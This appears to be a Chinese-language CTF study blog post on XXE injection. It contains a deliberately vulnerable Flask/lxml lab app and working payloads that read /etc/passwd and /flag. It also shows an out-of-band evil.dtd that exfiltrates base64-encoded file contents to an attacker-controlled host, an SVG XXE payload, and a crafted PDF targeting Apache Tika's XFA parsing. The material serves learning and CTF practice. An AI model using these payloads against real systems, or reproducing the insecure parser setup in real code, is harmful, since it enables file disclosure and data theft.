XXE

XXE,也叫做XML外部实体注入,它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。

在某些情况下,攻击者可以利用 XXE 漏洞联合执行服务器端请求伪造(SSRF) 攻击,从而提高 XXE 攻击等级以破坏底层服务器或其他后端基础设施。

payload结构

利用XXE读取文件的一种payload格式如下:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<username>&xxe;</username>
</root>

其中

1
<!DOCTYPE root [ ... ]>

原本用来定义文档合法结构,这里用来在[]中声明恶意的自定义实体

1
<!ENTITY xxe SYSTEM "file:///etc/passwd">

ENTITY xxe:声明一个名为xxe的自定义实体

SYSTEM:普通的实体定义是不带SYSTEM的,比如:

1
<!ENTITY name "ZLARYY">

加上SYSTEM之后,就变成了外部实体,他可以让解析器去后面跟随的系统路径中加载内容

"file:///etc/passwd":表示外部资源的目标URI,这里使用file伪协议进行本地文件读取

<username>&xxe;</username>:不能只定义实体,还需要在XML数据部分调用,其中&xxe表示调用 并插入名为xxe的实体的值

靶场测试

我搭建了一个本地的测试靶场来试试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from flask import Flask, request, render_template_string
from lxml import etree

app = Flask(__name__)

# 前端 HTML:一个简单的文件上传表单
HTML_FORM = """
<!DOCTYPE html>
<html>
<head><title>XXE 文件上传靶场</title></head>
<body style="font-family: Arial; margin: 40px;">
<h2>欢迎来到 XXE 测试靶场</h2>
<p>请上传您的 XML 配置文件:</p>
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="xmlFile" accept=".xml">
<br><br>
<input type="submit" value="上传并解析">
</form>
</body>
</html>
"""

# 首页路由:显示上传页面
@app.route('/')
def index():
return HTML_FORM

# 上传处理路由:接收文件并进行脆弱的解析
@app.route('/upload', methods=['POST'])
def upload_file():
if 'xmlFile' not in request.files:
return '没有检测到文件上传'

file = request.files['xmlFile']
if file.filename == '':
return '文件为空'

if file:
xml_data = file.read()
try:
# 【核心漏洞点】:配置解析器,允许解析外部实体 (resolve_entities=True)
parser = etree.XMLParser(resolve_entities=True, no_network=False)

# 开始解析用户上传的 XML 内容
root = etree.fromstring(xml_data, parser)

# 模拟业务逻辑:提取 <username> 标签里的内容并展示在页面上
username = root.findtext('username')

if username:
return f"<h3>XML 解析成功!</h3><p>提取到的用户名信息如下:</p><pre style='background:#eee; padding:10px;'>{username}</pre>"
else:
return "文件已解析,但未找到 &lt;username&gt; 标签。"

except Exception as e:
return f"<h3 style='color:red;'>XML 解析失败或格式错误</h3><p>错误信息: {e}</p>"

if __name__ == '__main__':
# 启动服务器,监听所有 IP 的 5000 端口
app.run(host='0.0.0.0', port=5000)

上传上面的xml文件之后,我们可以看到如下内容:

除此之外我们可以查看flag

以上就是有回显XXE的情况

无回显XXE

看了一下大致方法,相当于是一种外带,首先通过在自己的服务器上创建一个evil.dtd文件,然后上传一个xml格式文件让靶机远程下载这个dtd文件

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://[IP地址]/index.php?q=%file;'>">

所以我们上传的xml文件只需要让靶机去访问/evil.dtd就行了:

这里提一嘴,在开启靶场环境的时候记得用apache而不是python,也就是说我们的环境必须是php代码搭建起来的,本人有幸在这里卡了很久。。。。。。

首先在我们的公网IP服务器上写入evil.dtd:

1
2
3
4
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'http://[IP地址与端口]/?p=%file;'>">
%eval;
%error;

这里选择使用参数实体,原因是参数实体可以在定义内部被调用而且可以嵌套使用

上传payload:

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://[IP地址与端口]/evil.dtd">
%remote;
]>
<convert>test</convert>

别忘了用python3 -m http.server 8000开启evil.dtd环境,上传payload之后我们就可以看到两条请求信息:

p后面的base64编码字符串就是我们的flag

svg

除此之外,如果有题目允许上传svg文件,也是有可能存在XXE漏洞的,payload如下:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="1200" height="1200">
<text x="20" y="100" font-size="40" fill="red">&xxe;</text>
</svg>

其中,<svg xmlns="http://www.w3.org/2000/svg" width="1200" height="1200">是svg矢量图的开头,加上他,后端文件类型检测就会识别该文件为image/svg+xml

1
2
<text x="20" y="100" font-size="40" fill="red">&xxe;</text>
</svg>

<text>标签用于在svg文件上绘制文字

x="20" y="100" font-size="40" fill="red":如果后端对文件进行了图片渲染,那么这段代码就可以将比如file:///flag的结果用红色的40号字体写在距离左边20,距离顶部100的位置上。

CVE-2025-66516

CVE-2025-66516是存在于Apache Tika中的一个极其严重的XXE漏洞。

受影响组件为Apache Tika(具体为 tika-coretika-pdf-moduletika-parsers

其原理是在PDF中插入恶意的XFA(XML Forms Architecture,XML 表单架构)数据,当Tika 尝试提取该PDF中的XFA数据进行分析时,3.2.2 版本之前的底层 tika-coreXML解析器没有对外部实体解析进行严格限制,就会出现XXE漏洞。

UniCTF2026 SecureDoc

实在是弄不出来包含XAF的PDF文件,在网上找了一个大佬的payload:

2026-uniCTFwp – 叁玖の小博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
%PDF-1.5
1 0 obj
<</Type/Catalog/Pages 2 0 R/AcroForm <</XFA 3 0 R>>>>
endobj
2 0 obj
<</Type/Pages/Count 1/Kids [4 0 R]>>
endobj
3 0 obj
<</Length 120>>
stream
<?xml version="1.0"?>
<!DOCTYPE xdp [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<datasets><data>&xxe;</data></datasets>
</xdp:xdp>
endstream
endobj
4 0 obj
<</Type/Page/Parent 2 0 R/MediaBox [0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000009 00000 n
0000000092 00000 n
0000000136 00000 n
0000000297 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
409
%%EOF

除了中间的XXE漏洞,其他都是PDF所需的格式。